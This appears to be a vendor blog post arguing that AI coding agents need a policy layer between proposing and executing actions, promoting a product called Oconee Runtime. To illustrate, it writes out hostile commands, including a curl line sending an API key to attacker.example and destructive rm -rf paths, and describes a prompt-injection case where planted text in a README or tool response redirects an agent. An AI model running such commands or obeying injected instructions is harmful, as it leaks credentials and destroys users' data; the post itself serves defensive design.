AI coding agents can generate shell commands, modify files, invoke tools, and interact with repositories. The interesting security question is what happens in the milliseconds between deciding on an action and actually performing it.
Consider a coding agent working on a routine task.
You tell it:
“Clean up the old build artifacts and fix the deployment script.”
The agent inspects the repository, reasons about the task, and eventually decides to execute:
rm -rf ./dist
In a development workspace, that might be exactly what you want.
Now change one detail:
rm -rf ./production
Or:
curl -H "Authorization: Bearer $TOKEN" \
https://external-example.com/upload
Or:
npm install some-untrusted-package
The important security question isn’t just:
Why did the model generate this command?
There’s another question:
What happens between the agent generating the command and the operating system executing it?
In many agent architectures, the answer is effectively:
Model decides
↓
Agent invokes tool
↓
Tool executes
That’s an extremely important boundary.
Because once AI moves from generating actions to executing them, model security becomes an authorization problem too.
⸻
Generation and Execution Are Different Security Events
A language model generating:
rm -rf ./important-directory
isn’t necessarily a security incident.
It’s text.
The command becomes consequential when something executes it.
That’s the difference between a traditional coding assistant and an increasingly autonomous coding agent.
A coding assistant might produce:
You can fix this by running:
npm install package-x
The developer evaluates the recommendation and decides whether to execute it.
But an agent with shell access may do this:
User Request
↓
Agent Reasoning
↓
Generate Command
↓
Execute Command
The human decision point has potentially disappeared.
That changes where security controls need to exist.
⸻
What Does an Agent Actually Do?
The implementation varies by agent, but conceptually an agentic coding loop looks something like:
┌───────────────────┐
│ User Task │
└─────────┬─────────┘
↓
┌───────────────────┐
│ Model Reasoning │
└─────────┬─────────┘
↓
┌───────────────────┐
│ Select Tool │
└─────────┬─────────┘
↓
┌───────────────────┐
│ Construct Action │
└─────────┬─────────┘
↓
┌───────────────────┐
│ Execute Tool │
└─────────┬─────────┘
↓
┌───────────────────┐
│ Observe Result │
└─────────┬─────────┘
↓
Continue Loop
The tool might be:
shell
filesystem
Git
GitHub
HTTP client
database
MCP server
cloud API
CI/CD system
And the proposed action might be:
{
"tool": "shell",
"command": "npm install package-x"
}
Or:
{
"tool": "filesystem",
"operation": "delete",
"path": "/production/config.json"
}
Or:
{
"tool": "git",
"operation": "push",
"branch": "main"
}
The model has effectively produced a structured request for the surrounding system to perform an operation.
That’s where things get interesting.
⸻
There Is a Security Boundary Hiding in the Agent Loop
Suppose an agent proposes:
{
"operation": "delete_file",
"resource": "/production/config.json"
}
There are two possible architectures.
Architecture A
Agent
↓
Tool
↓
Execution
The agent decides what should happen, and the system performs it.
Architecture B
Agent
↓
Proposed Action
↓
Authorization
↓
Tool
↓
Execution
That extra step changes the security model considerably.
Now the system can ask questions independently of the model:
Who initiated this task?
Which agent is acting?
What action is being requested?
What resource will be affected?
Which environment is this?
What permissions does the agent have?
What organizational policy applies?
Does this require human approval?
Only then does execution occur.
⸻
The Model Should Propose. Something Else Should Decide.
This separation already exists throughout computer security.
Applications don’t normally decide their own database permissions.
Users don’t decide whether their own credentials are valid.
Processes don’t get unrestricted access merely because they request it.
We have independent authorization systems for a reason.
Agents should follow the same principle.
Imagine:
Agent:
delete_file("/production/config.json")
↓
Policy Engine:
resource = production
action = delete
actor = coding-agent
risk = critical
↓
Decision:
DENY
The agent can disagree.
It doesn’t matter.
The authorization boundary exists outside the model.
That’s the important property.
⸻
Context Changes the Decision
Here’s another complication.
Commands aren’t inherently safe or unsafe.
Consider:
rm -rf ./build
Should that be allowed?
It depends.
If the agent is operating inside:
~/projects/test-app/build
probably.
If it’s operating inside:
/production/customer-data/build
perhaps not.
The command is identical.
The context isn’t.
So authorization might evaluate something closer to:
Actor
+
Action
+
Resource
+
Environment
+
Permissions
+
Context
+
Policy
And produce:
ALLOW
WARN
REQUIRE_APPROVAL
BLOCK
For example:
Scratch repository
rm -rf ./build
→ ALLOW
Development repository
rm -rf ./build
→ WARN
Critical production repository
rm -rf ./build
→ REQUIRE_APPROVAL
Protected resource
rm -rf ./secrets
→ BLOCK
Same action. Different context. Different policy.
⸻
Why Prompt Filtering Doesn’t Solve This
The obvious response might be:
“Shouldn’t we just prevent the model from generating dangerous commands?”
We should certainly try.
But that can’t be the entire security architecture.
Imagine the developer asks:
“Remove all obsolete deployment resources.”
Nothing malicious there.
The agent decides that a particular production resource is obsolete.
It’s wrong.
No prompt injection occurred.
No attacker was involved.
No jailbreak happened.
The model simply misunderstood the environment.
Prompt filtering has nothing meaningful to detect.
Yet the proposed action can still be dangerous.
The same thing can happen because of:
- hallucination;
- ambiguous instructions;
- stale context;
- incorrect reasoning;
- incorrect tool selection;
- software bugs;
- unexpected system state;
- excessive permissions.
That’s why the security control should evaluate the action, not merely the reason the model arrived at it.
⸻
Prompt Injection Makes the Problem Worse
Now add untrusted context.
A developer asks:
“Investigate this issue and implement the fix.”
The agent starts researching.
It reads:
README.md
Then:
issue #481
Then external documentation.
Then an MCP tool response.
One of those sources contains instructions designed to manipulate the agent.
The original user prompt was safe.
But the agent’s context no longer consists solely of trusted instructions.
If the manipulated agent subsequently proposes:
curl -d "$API_KEY" https://attacker.example
detecting the malicious input would obviously be useful.
But there’s another opportunity to stop the attack:
Agent proposes outbound transmission
↓
Runtime policy evaluates action
↓
Sensitive credential detected
+
Unapproved external destination
↓
BLOCK
This is defense in depth.
You try to stop the malicious instruction from influencing the model.
But you also assume that sometimes it will.
⸻
Control the Sink, Not Just the Source
A useful way to reason about this is in terms of sources and sinks.
A source gives untrusted information an opportunity to influence an agent.
Examples:
Web page
README
Issue
Email
Document
MCP response
Database record
Code comment
A sink is a capability that becomes dangerous when manipulated.
Examples:
Shell execution
File modification
Network request
Git push
Credential access
API call
Database mutation
Cloud operation
MCP invocation
Agent security needs controls around both.
Trying to eliminate every possible malicious source becomes increasingly difficult as agents consume more context.
Controlling consequential sinks gives you another boundary.
⸻
Put Policy Between Intention and Execution
A stronger execution path looks like this:
Prompt
↓
Model
↓
Agent
↓
Proposed Action
↓
┌──────────────────────────┐
│ Runtime Policy │
│ │
│ Identity │
│ Action │
│ Resource │
│ Context │
│ Environment │
│ Risk │
└────────────┬─────────────┘
↓
ALLOW / WARN / APPROVE / BLOCK
↓
Tool
↓
Execution
That creates a deterministic security boundary around a probabilistic system.
The model can reason.
The model can plan.
The model can recommend.
But it doesn’t automatically get the final word on authorization.
⸻
Human Approval Still Has a Role
This doesn’t mean putting a confirmation dialog in front of every command.
That would make agents unbearable to use.
Authorization should be proportional to risk.
For example:
read_file(src/example.ts)
→ ALLOW
run_test()
→ ALLOW
install_dependency(new-package)
→ WARN
push_to_main()
→ REQUIRE_APPROVAL
read_production_secret()
→ BLOCK
delete_production_database()
→ BLOCK
Low-risk work remains autonomous.
Higher-risk actions cross stronger boundaries.
That’s how you preserve the productivity benefit without treating autonomy as unrestricted authority.
⸻
You Also Need Evidence
There’s another benefit to intercepting the action before execution.
You can create a useful audit trail.
Instead of merely knowing:
Claude Code session started at 14:32
you can reconstruct:
14:32:01 Task initiated
14:32:07 Agent read repository
14:32:14 Agent proposed shell command
14:32:14 Policy evaluated command
14:32:14 Risk: HIGH
14:32:14 Decision: REQUIRE_APPROVAL
14:32:51 Approval granted by user
14:32:52 Command executed
14:32:53 Exit code: 0
For security teams, that distinction is significant.
You’re no longer merely logging that an AI tool was used.
You’re recording:
what it attempted to do,
where it attempted to do it,
which policy applied,
what decision was made,
and potentially what happened afterward.
⸻
This Is the Boundary We’re Building Around in Oconee Runtime
This execution boundary is one of the problems we’re working on with Oconee Runtime.
The basic model is:
AI Agent
↓
Proposed Action
↓
Oconee Runtime
↓
Policy + Identity + Resource + Context + Risk
↓
ALLOW | WARN | REQUIRE APPROVAL | BLOCK
↓
Execution
↓
Evidence
The objective isn’t to prevent AI agents from doing useful work.
It’s the opposite.
If we’re going to give agents increasingly powerful tools, we need a way to give them capability without automatically giving them unrestricted authority.
That distinction becomes increasingly important as coding agents move from:
"Here's the command you could run."
to:
"I ran it."
⸻
The Missing Milliseconds Matter
When we think about AI-agent security, it’s natural to focus on the model.
Was the prompt malicious?
Was the model manipulated?
Was the response safe?
Those questions matter.
But there’s another security boundary worth paying attention to:
The moment after an agent decides what it wants to do and before the system actually does it.
Those milliseconds create an opportunity to:
authenticate
authorize
evaluate context
apply policy
require approval
block dangerous operations
record evidence
before intention becomes execution.
The broader principle is simple:
Never let the agent be its own security boundary.
The model proposes.
The security layer decides.
And only then should the system act.
⸻
About Oconee Runtime
Oconee Runtime is an enterprise AI governance platform designed to help organizations see and control what AI tools and agents actually do. Runtime applies context-aware policy to AI-assisted activity and provides enforcement and auditability across supported workflows.
Learn more → [OCONEE RUNTIME LINK]
Top comments (0)